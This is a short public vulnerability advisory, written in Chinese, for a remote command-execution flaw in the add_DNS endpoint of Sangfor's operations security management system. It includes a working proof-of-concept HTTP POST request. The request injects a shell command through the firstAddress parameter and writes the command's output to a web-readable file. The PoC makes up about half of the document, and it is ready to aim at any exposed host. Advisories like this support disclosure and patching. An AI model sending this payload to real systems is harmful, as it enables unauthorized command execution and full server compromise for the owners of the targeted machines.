深信服运维安全管理系统 /fort/system;help/netConfig/add_DNS 命令执行漏洞

2026-02-28 深信服运维安全管理系统 PoC Public

Description

深信服运维安全管理系统 help/netConfig/add_DNS 接口存在远程命令执行漏洞，攻击者可通过构造恶意的 POST 请求，在 firstAddress 或 prepareAddress 参数中注入系统命令，命令执行结果会被写入到 /usr/local/tomcat/webapps/fort/trust/version/hello1.txt 文件中，攻击者可通过访问该文件获取命令执行结果，进而控制整个服务器。

PoC

POST /fort/system;help/netConfig/add_DNS HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

firstAddress=%3Bid%20%7C%20tee%20/usr/local/tomcat/webapps/fort/trust/version/hello1.txt%3B&prepareAddress=8.8.8.8

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Sangfor Operation and Maintenance Security Management System /fort/system;help/netConfig/add_DNS Command Execution Vulnerability

References

Related Vulnerabilities